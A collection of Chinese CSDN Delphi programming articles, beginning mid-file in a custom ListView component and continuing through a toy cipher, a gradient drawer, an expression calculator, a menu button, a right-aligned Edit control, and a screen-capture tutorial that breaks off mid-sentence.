if FHeaderFont <> Value then begin

FHeaderFont.Assign(Value);

InvalidateRect(GetDlgItem(Handle, 0),nil,true);//调用Windows API（二个函数均是）

end;

end;

//============== 设置背景图 =================================

procedure TListView1.SetPicture(Value: TPicture);

begin

//转换背景图设置，将值赋给FPicture私有数据域

if FPicture <> Value then

FPicture.Assign(Value);

end;

//============== TPicture的OnChange事件响应过程 ==============

procedure TListView1.PictureChanged(Sender: TObject);

begin

//重绘列表视图

Invalidate;

end;

//============== TListView的OnCustomDraw事件响应过程==========

procedure TListView1.LVCustomDraw(Sender: TCustomListView; const ARect: TRect; var DefaultDraw: Boolean);

begin

if (FPicture.Graphic<>nil)then begin

DrawBack;//绘制背景图

SetBkMode(Canvas.Handle,TRANSPARENT);//调用Windows API，将画布的背景设为透明模式

ListView_SetTextBKColor(Handle,CLR_NONE);//调用Windows API，将Item的文本背景设为透明

end;

end;

//============== 绘制背景图 ==================================

procedure TListView1.DrawBack;

var x,y,dx: Integer;

begin

x:=0;

y:=0;

if Items.Count>0 then begin

if ViewStyle = vsReport then x:=TopItem.DisplayRect(drBounds).Left

else x:=Items[0].DisplayRect(drBounds).Left;

y:=Items[0].DisplayRect(drBounds).Top-2;

end;

dx:=x;

while y<=ClientHeight do begin

while x<=ClientWidth do begin

Canvas.Draw(x,y,FPicture.Graphic);

inc(x,FPicture.Graphic.Width);

end;

inc(y,FPicture.Graphic.Height);

x:=dx;

end;

end;

//====== Windows 消息应答 ====================================

procedure TListView1.WndProc(var Message : TMessage);

var

pDS :PDrawItemStruct;

phd :PHDNotify;

begin

inherited WndProc(Message);//继承

with Message do

case Msg of

WM_DRAWITEM :

begin //重绘列表项时

pDS := PDrawItemStruct(Message.lParam);

//在PDrawItemStruct数据结构中有我们需要的数据

if pDS.CtlType<>ODT_MENU then begin

DrawHeaderItem(pDS);

Result := 1;

end;

end;

WM_NOTIFY:

begin

phd := PHDNotify(Message.lParam);

//在PHDNotify数据结构中有我们需要的数据

if (phd.Hdr.hwndFrom = GetDlgItem(Handle, 0)) then

Case phd.Hdr.code of

//当单击表头时

HDN_ITEMCLICK,HDN_ITEMCLICKW:

begin

SortColumn(Columns.Items[phd.item]);

InvalidateRect(GetDlgItem(Handle, 0), nil, true);//调用Windows API

end;

//当拖动或改变表头时

HDN_ENDTRACK,HDN_ENDTRACKW,HDN_ITEMCHANGED:

begin

SetHeaderStyle(phd);

InvalidateRect(GetDlgItem(Handle, 0), nil, true);//调用Windows API

end;

end;

end;

end;

end;

//=====================================================================

var AtoZOrder: Boolean;

function CustomSortProc(Item1, Item2: TListItem; ParamSort: Integer): Integer; stdcall;

begin

//自定义TListView的排序函数类型TLVCompare

case ParamSort of

0://主列排序

if AtoZOrder then

Result:=lstrcmp(PChar(TListItem(Item1).Caption), PChar(TListItem(Item2).Caption))

else

Result:=-lstrcmp(PChar(TListItem(Item1).Caption), PChar(TListItem(Item2).Caption));

else //子列排序

if(AtoZOrder) then

Result:=lstrcmp(PChar(TListItem(Item1).SubItems[ParamSort]),

PChar(TListItem(Item2).SubItems[ParamSort-1]))

else

Result:=-lstrcmp(PChar(TListItem(Item1).SubItems[ParamSort-1]),

PChar(TListItem(Item2).SubItems[ParamSort-1]));

end;

end;

//====== 可在外部调用的排序方法 ===================================

procedure TListView1.SortColumn(Column: TListColumn);

begin

//调用TListView的CustomSort函数，按列排序

if FOldCol = Column.Index then

FaToz:=not FAtoZ

else

FOldCol:=Column.Index;

AtoZOrder:= FaToz;

CustomSort(@CustomSortProc, Column.Index);

end;

//====== 绘制表头文本和图形 =======================================

procedure TListView1.DrawHeaderItem(pDS :PDrawItemStruct);

var

tmpCanvas :TCanvas;

tmpLeft :Integer;

begin

tmpCanvas := TCanvas.Create;

tmpCanvas.Font := FHeaderFont;

tmpCanvas.Brush.Color := clBtnFace;

//重绘文字

tmpCanvas.Handle:=pDS.hDC;

tmpCanvas.Brush.Style:=bsClear;

tmpCanvas.TextOut(pDS^.rcItem.Left+6,pDS^.rcItem.Top+2,Columns[pDS^.itemID].Caption);

//绘制箭头

if (abs(pDS^.itemID) <> FOldCol) then Exit;

with tmpCanvas do

with pDS^.rcItem do

begin

tmpLeft:=TextWidth(Columns[pDS^.itemID].Caption)+Left+15;

if FAtoZ then begin //画箭头向上

Pen.Color := clBtnHighlight;

MoveTo(tmpLeft, Bottom - 5);

LineTo(tmpLeft + 8, Bottom - 5);

Pen.Color := clBtnHighlight;

LineTo(tmpLeft + 4, Top + 5);

Pen.Color := clBtnShadow;

LineTo(tmpLeft, Bottom - 5);

end else begin //画箭头向下

Pen.Color := clBtnShadow;

MoveTo(tmpLeft, Top + 5);

LineTo(tmpLeft + 8, Top + 5);

Pen.Color := clBtnHighlight;

LineTo(tmpLeft + 4, Bottom - 5);

Pen.Color := clBtnShadow;

LineTo(tmpLeft, Top + 5);

end;

end;

tmpCanvas.Free;

end;

//======== 设置表头样式 ===============================================

procedure TListView1.SetHeaderStyle(phd:PHDNotify);

var

i :integer;

hdi :THDItem;

begin

for i := 0 to Columns.Count - 1 do

begin

hdi.Mask:= HDF_STRING or HDI_FORMAT;

hdi.fmt := HDF_STRING or HDF_OWNERDRAW;//设置表头样式为自绘式

Header_SetItem(phd.Hdr.hwndFrom ,i,hdi);//调用Windows API

end;

//注意：如果不调用此过程，那么我们在前面绘制的图形将不能被清除掉

end;

//=====================================================================

end.

三、安装自定义组件

再次提醒：一定要在uses子句后手工加上CommCtrl！

检查确认无误后选择Delphi菜单的Component/Install Component选项，在Unite file name编辑框中确认你的文件路径和名称后按OK按钮，Delphi将编译安装该组件。

如果你完全按本文步聚进行，对Delphi生成的默认值不进行修改的话，在编译安装无误后，你可以在Delphi组件标签页的Samples标签页中找到一个图标和TListView一样的列表视图。新建一个工程并将这个我们自义的列表视图放置在Form上，其默认的名称是ListView11，此时你看到这个列表视图的外观和Delphi提供的TListView放置在Form上时的外观一样，但是我们却可以在Delphi的Object Inspector面板上找到BackPicture属性和HeaderFont属性，二者的设置方法和Delphi通常的图形属性和字体属性的设置方法一样。当我们将它的ViewStyle属性设为vsReport、并设了列和列的Caption文本时，可以通过HeaderFont这个我们新增的属性单独改变表头的字体。当然你也可以进一步修改，给表头再增加一个背景色属性等等。

四、对PDrawItemStruct数据结构和PHDNotify数据结构的说明

（仅为说明数据定义而列出，和Delphi的原定义略有出入）

PDrawItemStruct在Delphi的Windows.pas文件中定义如下：

PDrawItemStruct = ^TDrawItemStruct;

tagDRAWITEMSTRUCT = packed record

CtlType: UINT;

CtlID: UINT;

itemID: UINT;

itemAction: UINT;

itemState: UINT;

hwndItem: HWND;

hDC: HDC;

rcItem: TRect;

itemData: DWORD;

end;

TDrawItemStruct = tagDRAWITEMSTRUCT;

DRAWITEMSTRUCT = tagDRAWITEMSTRUCT;

而关于DRAWITEMSTRUCT的解释可参见Delphi帮助文件（或微软）的Win32 Programmer's Reference。

PHDNotify在Delphi的CommCtrl.pas文件中定义如下：

tagNMHEADERA = packed record

Hdr: TNMHdr;

Item: Integer;

Button: Integer;

PItem: PHDItemA;

end;

PHDNotifyA = ^THDNotifyA;

PHDNotify = PHDNotifyA;

THDNotifyA = tagNMHEADERA;

可对应查看Delphi帮助文件（或微软）的Win32 Programmer's Reference中关于HD_NOTIFY结构的解释。

另外文中所涉Windows API同样可在Win32 Programmer's Reference中直接按相应函数名查阅。


CSDN_文档中心_一个很简单的加密算法

当时见到一张帖子即兴写了这段代码,还没认真调试过

program Project1;

{$APPTYPE CONSOLE}

uses
SysUtils;

const
Key='TESTNET';
Cryptograph='有些事还是不知为妙';

//不能为0.5,相加为1
Percent1=0.21;
Percent2=0.79;

var
s1:string;
function GetKey(aKey:string;aPercent:Double):string;
var
i:integer;
begin
SetLength(Result,Length(aKey));
for i:=1 to Length(aKey) do
begin
Result[i]:=Chr(Round(Ord(aKey[i])*aPercent));
end;
end;

function EnCode(aCryptograph,aKey:string):string;
var
i,keylen,codelen:integer;
begin
keylen:=Length(akey);
codelen:=Length(aCryptograph);
SetLength(Result, Length(aCryptograph));
for i:=1 to codelen do
begin
Result[i]:=Chr(Ord(aCryptograph[i])+Ord(aKey[(i mod KeyLen)+1]));
end;
end;

function DeCode(aCryptograph,aKey:string):string;
var
i,keylen,codelen:integer;
begin
keylen:=Length(akey);
codelen:=Length(aCryptograph);
SetLength(Result, Length(aCryptograph));
for i:=1 to codelen do
begin
Result[i]:=Chr(Ord(aCryptograph[i])-Ord(aKey[(i mod KeyLen)+1]));
end;
end;

begin
{ TODO -oUser -cConsole Main : Insert code here }

WriteLn('要加密的文字');
WriteLn(Cryptograph);
WriteLn;

WriteLn('密码经过第一个网络');
s1:=EnCode(Cryptograph,GetKey(Key,Percent1));
WriteLn(s1);
WriteLn;

WriteLn('密码经过第二个网络');
s1:=EnCode(s1,GetKey(Key,Percent2));
WriteLn(s1);
WriteLn;

WriteLn('还原');
s1:=DeCode(s1,Key);
WriteLn(s1);
WriteLn;
WriteLn('如果要在VCL控件中显示，还要对#0进行处理,'+
'因为VCL中大部分函数以#0作为结束标记');
ReadLn;
end.


CSDN_文档中心_一个画渐变的方法

一个画渐变的方法，希望大家能够帮我回答这个问题：
http://www.csdn.net/expert/topic/490/490274.shtm

(*
———————————————原理：————————————————
对于任何一种线性渐变（就是最常见的那种），在由起点和终点定义的渐变区
内，像素的RGB分量对于X和Y坐标的偏导数都是常量。于是我们可以先用极小
的代价来计算出这个二元方程的初始值，然后使用累加递推的方法计算出所有
的值。
———————————————注 1：————————————————
渐变区：由分别经过起点和终点，并垂直于这两点连线的平行直线和绘图区域
的边界围成的区域。在这个区域以外的像素不再有渐变。
———————————————注 2：————————————————
为了简化编程，我使用了浮点数来进行累加计算。实际上可以先用移位操作来
“放大”颜色值以提高累加时的精度，写入位图时再用移位“缩小”来恢复实
际的值。
———————————————测试：————————————————
该方法在Delphi6下调试通过。在Duron800，1152 X 864下采取重回1000次取
平均值的方法测试。
100 X 100：平均为4ms；
500 X 200：平均为18ms；
（我同时还在听MP3:P）
*)

function SSDrawGradient(ACanvas: TCanvas; AClipRect: TRect;
FromPoint, ToPoint: TPoint; FromColor, ToColor: TColor): Boolean;
type
TSSGradientDirection=(gdEast, gdWest, gdNorth, gdSouth, gdOther);
var
buf:TBitmap;
w,h,y,x,XOffset,ir,ig,ib,pw,ph:Integer;
c1, c2: TColor;
r1,g1,b1,r2,g2,b2,br,bg,bb,rmax,rmin,gmax,gmin,bmax,bmin: Byte;
kx,ky,kx0,ky0,rx0,gx0,bx0,r0,g0,b0,drx,dry,dgx,dgy,dbx,dby,dr,dg,db: Double;
P : PByteArray;

function GetStep(V1, V2, V3:Integer): Double;
begin
if V2=V1 then Result:=0
else Result:=V3/(V2-V1);
end;

begin
Result:=False;
if (FromPoint.Y=ToPoint.Y)and(FromPoint.X=ToPoint.X) then Exit;
buf:=TBitmap.Create;
try
//初始化缓冲区
buf.PixelFormat:=pf24bit;
w:=WidthOfRect(AClipRect);
buf.Width:=w;
h:=HeightOfRect(AClipRect);
buf.Height:=h;
//为了防止运算溢出而设的检查
if (w>Screen.Width)or(h>Screen.Height) then Exit;

//读取渐变起点和终点的RGB值
c1:=ColorToRGB(FromColor);
c2:=ColorToRGB(ToColor);
r1:=GetRValue(c1);
g1:=GetGValue(c1);
b1:=GetBValue(c1);
r2:=GetRValue(c2);
g2:=GetGValue(c2);
b2:=GetBValue(c2);
if r1>r2 then begin rmin:=r2; rmax:=r1 end
else begin rmin:=r1; rmax:=r2 end;
if g1>g2 then begin gmin:=g2; gmax:=g1 end
else begin gmin:=g1; gmax:=g2 end;
if b1>b2 then begin bmin:=b2; bmax:=b1 end
else begin bmin:=b1; bmax:=b2 end;
pw:=Abs(ToPoint.X-FromPoint.X);
ph:=Abs(ToPoint.Y-FromPoint.Y);
kx:=pw/Sqrt(ph*ph+pw*pw);
ky:=ph/Sqrt(ph*ph+pw*pw);

//计算出RGB值相对于XY轴的线性变化系数
drx:=GetStep(AClipRect.Left, AClipRect.Right, Round((r2-r1)*kx));
dry:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((r2-r1)*ky));
dgx:=GetStep(AClipRect.Left, AClipRect.Right, Round((g2-g1)*kx));
dgy:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((g2-g1)*ky));
dbx:=GetStep(AClipRect.Left, AClipRect.Right, Round((b2-b1)*kx));
dby:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((b2-b1)*ky));

//计算出矩形左上角的RGB值,备用
kx0:=GetStep(FromPoint.X, ToPoint.X, FromPoint.X);
ky0:=GetStep(FromPoint.Y, ToPoint.Y, FromPoint.Y);
r0:=r1+(kx0+ky0)*r2;
g0:=g1+(kx0+ky0)*g2;
b0:=b1+(kx0+ky0)*b2;

//这三个变量是每个扫描线的第一个点的RGB值
rx0:=r0;
gx0:=g0;
bx0:=b0;
for y:=0 to h-1 do
begin
XOffset:=0;
//dr意思是Double类型的红色值，其他类推
dr:=rx0;
dg:=gx0;
db:=bx0;
P := buf.ScanLine[y];
for x:=0 to w-1 do
begin
//ir的意思是整型的红色值，其他类推
//之所以要先转成整型，是因为我觉得整型的比较也许会比浮点快一点
//反正都要三次Round的，不如早做……
ir:=Round(dr);
ig:=Round(dg);
ib:=Round(db);
//br的意思是字节型的红色值
br:=Max(Min(rmax,ir),rmin);
bg:=Max(Min(gmax,ig),gmin);
bb:=Max(Min(bmax,ib),bmin);
//按照偏移量设置RGB值
P[XOffset]:=bb;
P[XOffset+1]:=bg;
P[XOffset+2]:=br;

if FromPoint.X<>ToPoint.X then
begin
//下一个像素的RGB值分别按照一定的系数递增
dr:=dr+drx;
dg:=dg+dgx;
db:=db+dbx;
end;
//因为我定义的P是字节型的数组，所以这里递增“3”，避免使用乘法
Inc(XOffset, 3);
end;
if FromPoint.Y<>ToPoint.Y then
begin
//按照RGB在Y轴方向上的变化规律计算下一行的第一个像素RGB值
rx0:=rx0+dry;
gx0:=gx0+dgy;
bx0:=bx0+dby;
end;
end;
//将缓冲区复制到目标上
BitBlt(ACanvas.Handle, AClipRect.Left, AClipRect.Top, w, h,
buf.Canvas.Handle, 0, 0, SRCCOPY);
Result:=True;
finally
buf.Free;
end;
end;


CSDN_文档中心_一个计算器的代码，欢迎大家点评

例如：
1. CalcExpr('2*5+1')='11'
2. 带条件
CalcExpr('2>1&4<=5 : 2*5')='10'
CalcExpr('6<2 : 3')='0'
3. 带函数
CalcExpr('max(1,2,3,6,4+7,7)')='11'

用法：将untCalc.pas 加入到你的工程里面，然后调用CalcExpr即可。

这里是源代码：

unit untJCalc;

interface

uses
classes,sysutils;

type
TJStack=class
private
Lines:TStrings;
public
constructor Create;
destructor Destroy;
procedure init;
procedure push(s:string);
function GetTop:String;
function Pop:String;
end;
TJExpr=class
private
Expr:String;
Position:Integer;
Min,max:Integer;
Eof:Boolean;
public
constructor Create(pExpr:String);
function read:String;
procedure GoFirst;
end;

function CalcExpr(sExpr:String):String;
function CalcExprItem(sOptr,sA,sB:String):String;
function OptrIndex(w:string):Integer;
function GetParamCount(pFunc:String):Integer;
function ExecFunc(pFunc:String;pParam:Array of string;pParamCount:Integer):string;

implementation

constructor TJStack.Create;
begin
inherited Create;
lines:=TStringList.create;
end;

procedure TJStack.init;
begin
lines.free;
end;

destructor TJStack.Destroy;
begin
lines.free;
inherited Destroy;
end;

procedure TJStack.push(s:string);
begin
lines.add(s);
end;

function TJStack.GetTop:String;
begin
if Lines.count>0 then
Result:=lines[lines.count-1]
else
Result:='';
end;

function TJStack.Pop:String;
begin
if Lines.Count>0 then
begin
Result:=GetTop;
lines.delete(lines.count-1);
end
else
Result:='';
end;

//////////////////////TJExpr////////////////

constructor TJExpr.Create(pExpr:String);
begin
Expr:=lowercase(pExpr)+'#';
Min:=1;
Max:=length(Expr);
Position:=1;
Eof:=false;
end;

function TJExpr.read:String;
function SameType(s1,s2:string):boolean;
var
c1,c2:string;
begin
c1:='';c2:='';
if length(s1)>0 then c1:=s1[length(s1)];
if length(s2)>0 then c2:=s2[Length(s2)];
if ((pos(c1,'0123456789.')>0) and (pos(c2,'0123456789.')>0))
then
begin
result:=true;
end
else
begin
Result:=false;
end;
if (c1='-')and(c2='-') then Result:=false;
if s1+s2='>=' then Result:=true;
if s1+s2='<=' then Result:=true;
if s1+s2='<>' then Result:=true;
if pos(s1+s2,'max(')>0 then Result:=true;
if pos('-',s1+s2)>1 then Result:=false;
if (s1='')or(s2='') then result:=true;
end;
begin
if Position<=Max then
begin
Result:=trim(Expr[Position]);
Inc(Position);
while Position<=Max do
begin
if SameType(Result,Expr[Position]) then
begin
Result:=Result+trim(Expr[Position]);
Inc(Position);
end
else
begin
exit;
end;
end;
end
else
begin
Result:='';
Eof:=true;
end;
end;

procedure TJExpr.GoFirst;
begin
Position:=1;
Eof:=false;
end;

/////////////////////////////////////////

function DiffOptr(a,b:string):Integer;
const
sa:array [1..17,1..17] of
integer=(
// + - * / ( ) # > < >= <= = <> & : , max(
{+}(2 ,2 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{-}(2 ,2 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{*}(2 ,2 ,2 ,2 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{/}(2 ,2 ,2 ,2 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{(}(0 ,0 ,0 ,0 ,0 ,1 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0),
{)}(2 ,2 ,2 ,2 ,1 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,1),
{#}(0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0),
{>}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{<}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{>=}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{<=}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{=}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{<>}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,2 ,0),
{&}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,2 ,2 ,2 ,0),
{:}(0 ,0 ,0 ,0 ,0 ,2 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,2 ,2 ,0),
{,}(0 ,0 ,0 ,0 ,0 ,1 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0),
{max(}(0 ,0 ,0 ,0 ,0 ,1 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0)
);
var
aIndex,bIndex:integer;
begin
aIndex:=OptrIndex(a);
bIndex:=OptrIndex(b);
if (aIndex>0)and(bIndex>0) then
Result:=sa[aIndex,bIndex]-1
else
Result:=1;
end;

function CalcExpr(sExpr:String):String;
var
optr,opnd:TJStack;
w,theta,a,b:string;
position:integer;
jexpr:TJExpr;
sParam:array[1..20] of string;
sFunc:String;
i,nParamCount:integer;
begin
jexpr:=TjExpr.Create(sExpr);
optr:=TJStack.create;
opnd:=TJStack.create;
optr.push('#');
w:=jexpr.read;
while (not ((w='#')and(optr.GetTop='#'))) and (jexpr.Eof =false) do
begin
if OptrIndex(w)<0 then
begin
opnd.push(w);
w:=jexpr.read;
end
else
begin
Case DiffOptr(optr.GetTop,w) of
-1://<
begin
optr.push(w);
w:=jexpr.read;
end;
0://=
begin
sFunc:=optr.pop;
if sFunc<>'(' then
begin
nParamCount:=1;
while sFunc=',' do
begin
Inc(nParamCount);
sFunc:=optr.pop;
end;
if GetParamCount(sFunc)=0 then nParamCount:=0;
for i:=1 to nParamCount do sParam[i]:=opnd.Pop;
opnd.push(ExecFunc(sFunc,sParam,nParamCount));
end;
w:=jexpr.read;
end;
1://>
begin
theta:=optr.pop;
b:=opnd.pop;
a:=opnd.pop;
opnd.push(CalcExprItem(theta,a,b));
end;
end;
end;
end;
Result:=opnd.GetTop;
opnd.free;
optr.free;
end;

function CalcExprItem(sOptr,sA,sB:String):String;
begin
if sOptr='+' then
begin
if (sA<>'')and(sB<>'') then
begin
Result:=floattostr(strtofloat(sA)+strtofloat(sB));
end
else
begin
Result:=sA+sB;
if Result='' then Result:='0';
end;
exit;
end;
if sOptr='-' then
begin
if sA='' then
Result:=floattostr(-strtofloat(sB))
else
Result:=floattostr(strtofloat(sA)-strtofloat(sB));
exit;
end;
if sOptr='*' then
begin
Result:=floattostr(strtofloat(sA)*strtofloat(sB));
exit;
end;
if sOptr='/' then
begin
Result:=floattostr(strtofloat(sA)/strtofloat(sB));
exit;
end;
if sOptr='>' then
begin
if strtofloat(sA)>strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='<' then
begin
if strtofloat(sA)<strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='>=' then
begin
if strtofloat(sA)>=strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='<=' then
begin
if strtofloat(sA)<=strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='=' then
begin
if strtofloat(sA)=strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='<>' then
begin
if strtofloat(sA)<>strtofloat(sB) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr='&' then
begin
if (strtofloat(sA)<>0)and(strtofloat(sB)<>0) then
Result:='1'
else
Result:='0';
exit;
end;
if sOptr=':' then
begin
if strtofloat(sA)=0 then
Result:='0'
else
Result:=sB;
exit;
end;
end;

function GetParamCount(pFunc:String):Integer;
begin
if pFunc='max(' then result:=2;
end;

function OptrIndex(w:string):Integer;
begin
if w='+' then begin result:=1; exit; end;
if w='-' then begin result:=2; exit; end;
if w='*' then begin result:=3; exit; end;
if w='/' then begin result:=4; exit; end;
if w='(' then begin result:=5; exit; end;
if w=')' then begin result:=6; exit; end;
if w='#' then begin result:=7; exit; end;
if w='>' then begin result:=8; exit; end;
if w='<' then begin result:=9; exit; end;
if w='>=' then begin result:=10; exit; end;
if w='<=' then begin result:=11; exit; end;
if w='=' then begin result:=12; exit; end;
if w='<>' then begin result:=13; exit; end;
if w='&' then begin result:=14; exit; end;
if w=':' then begin result:=15; exit; end;
if w=',' then begin result:=16; exit; end;
if w='max(' then begin Result:=17; exit; end;
result:=-1;
end;

function ExecFunc(pFunc:String;pParam:Array of string;pParamCount:Integer):string;
var
tmpFloat:real;
i:integer;
begin
//
if pFunc='max(' then
begin
tmpFloat:=strtofloat(pParam[0]);
for i:=1 to pParamCount-1 do
begin
if tmpFloat<strtofloat(pParam[i]) then
tmpFloat:=strtofloat(pParam[i]);
end;
Result:=floattostr(tmpFloat);
end;
end;

end.


CSDN_文档中心_一个简单的菜单按钮的实现

使用过速达2000的朋友都知道,其基本资料的浏览界面中有一种按钮,点击后会弹出一个和按钮对得很整齐的菜单.用Delphi制作一个类似的控件十分容易,代码如下:

unit MenuBtnVCL;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Buttons, CommCtrl,
ExtCtrls,Menus;

type
TMenuBtn = class(TBitBtn)
protected
procedure DoEnter;override;
procedure DoExit;override;
{ Protected declarations }
public
constructor Create(AOwner: TComponent); override;
procedure Click; override;
{ Public declarations }
published
{ AL: }
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TMenuBtn]);
end;

constructor TMenuBtn.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
layout:=blGlyphRight;
Font.Charset := GB2312_CHARSET;
Font.Color := clWindowText;
Font.Height := -12;
Font.Name := '宋体';
end;

procedure TMenuBtn.Click;
var tmp:TPoint;
begin
inherited Click;

if Assigned(PopUpMenu) then
begin
{ calc where to put menu }
tmp := ClientToScreen(Point(0, Height));
PopUpMenu.Popup(tmp.X, tmp.Y);
end;
end;

procedure TMenuBtn.DoEnter;
begin
Font.Style := [fsBold];
inherited DoEnter;
end;

procedure TMenuBtn.DoExit ;
begin
Font.Style := [];
inherited DoExit;
end;

end.


CSDN_文档中心_一个可以靠右显示的简单Edit控件

unit REdit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TCustomREdit = class(TCustomEdit)
private
{ Private declarations }
FAlignment:TAlignment;
procedure SetAlignment(Value: TAlignment);
protected
{ Protected declarations }
property Alignment: TAlignment read FAlignment write SetAlignment default taLeftJustify;
procedure CreateParams(var Params: TCreateParams); override;
public
{ Public declarations }
published
{ Published declarations }
end;

TREdit = class(TCustomREdit)
published
{ Published declarations }
property Alignment;
property Anchors;
property AutoSelect;
property AutoSize;
property BiDiMode;
property BorderStyle;
property CharCase;
property Color;
property Constraints;
property Ctl3D;
property DragCursor;
property DragKind;
property DragMode;
property Enabled;
property Font;
property HideSelection;
property ImeMode;
property ImeName;
property MaxLength;
property OEMConvert;
property ParentBiDiMode;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PasswordChar;
property PopupMenu;
property ReadOnly;
property ShowHint;
property TabOrder;
property TabStop;
property Text;
property Visible;
property OnChange;
property OnClick;
property OnContextPopup;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDock;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnKeyDown;
property OnKeyPress;
property OnKeyUp;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnStartDock;
property OnStartDrag;
end;

procedure Register;

implementation

procedure TCustomREdit.CreateParams(var Params: TCreateParams);
const
Alignments: array[Boolean, TAlignment] of DWORD =
((ES_LEFT, ES_RIGHT, ES_CENTER),(ES_RIGHT, ES_LEFT, ES_CENTER));
begin
inherited CreateParams(Params);
with Params do
begin
Style := Style or Alignments[UseRightToLeftAlignment, FAlignment];
end;
end;

procedure TCustomRedit.SetAlignment(Value:TAlignment);
begin
if FAlignment <> Value then
begin
FAlignment := Value;
RecreateWnd;
end;
end;

procedure Register;
begin
RegisterComponents('Samples', [TREdit]);
end;

end.

上述只是给初学Delphi控件制作者一点参考，当然不入方家法眼。不足之处，敬请指正。


CSDN_文档中心_一个可以自己布局的推箱子游戏 （附源码）

大家看看我这个推箱子游戏 此处下载 相信有很多朋友都见过此类游戏。但是都只能玩而不能自己设计， 本程序的特点就是可以自己设计布局，就象坦克大战中的布阵一样。 注意：设计功能未放在菜单上，在玩时按 Ctrl+G 即可。 觉得好,要源码的话，去我的主页Delphi客栈(http://gxg.3322.net)下吧！


CSDN_文档中心_一个实用的Delphi屏幕拷贝程序的设计

Borland 公 司（ 现 改 名 为INPRISE 公 司） 的DELPHI 是 当 前 最 为 方 便 的Windows 程 序 设
计 工 具 之 一。 许 多 人 以 为DELPHI 是 作 为 数 据 库 开 发 工 具 出 现 的， 其 实 用DELPHI
可 以 以 极 快 的 速 度 开 发 出 高 效 的Windows 程 序。

现 在 我 们 就 用DELPHI 来 编 写 一 个 实 用 的 屏 幕 拷 贝 程 序。 瞧 瞧， 下 面 的 画 面
就 是 所 编 程 序 运 行 后 进 行 区 域 屏 幕 拷 贝 的 例 子， 还 不 错 吧 ！

Borland 公 司 的 天 才 设 计 师 们 用 画 布（Tcanvas） 对 象 封 装 了Windows 的 大 部 分 图 形
输 出 功 能， 这 使 得 我 们 可 以 通 过 他 以 更 直 观 的 方 式 和Windows 的 屏 幕 打 交 道，
而 不 必 关 心 令 人 头 疼 的Windows API 函 数。 下 面 的 一 小 段 程 序 就 可 以 实 现 整 个
屏 幕 的 图 象 拷 贝 了。

var //变量声明
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
//------------------------------------------------------------
DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕
FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
FullscreenCanvas.Handle := DC; //将屏幕的DC赋给HANDLE
Fullscreen.Canvas.CopyRect
(Rect (0, 0, screen.Width,screen.Height),
fullscreenCanvas,
Rect (0, 0, Screen.Width, Screen.Height));
//把整个屏幕复制到BITMAP中
FullscreenCanvas.Free; //释放CANVAS对象
ReleaseDC (0, DC); //释放DC
//SCREEN对象是DELPHI预先定义的屏幕对象，直接使用就行了。

看 了 以 上 代 码， 你 就 会 发 现 用DELPHI 写 屏 幕 拷 贝 程 序 的 确 很 简 单。

当 然 要 写 一 个 实 用 的 屏 幕 拷 贝 程 序， 光 靠 上 述 代 码 是 不 够 的， 下 面 讲 一
下 主 要 的 编 程 思 路：

1. 全 屏 幕 拷 贝 的 实 现

首 先 隐 藏 拷 屏 程 序， 延 长 一 定 时 间 后， 利 用 上 述 的 程 序 即 可 实 现 屏 幕 的
拷 贝。

2. 区 域 拷 贝 的 实 现

要 实 现 区 域 拷 贝 要 用 个 小 技 巧， 首 先 调 用 全 屏 幕 拷 贝 程 序 把 整 个 屏 幕 拷
贝 下 来， 然 后 把 拷 贝 下 来 的 图 象 显 示 在 屏 幕 上， 之 后 就 可 以 让 用 户 在 上 面
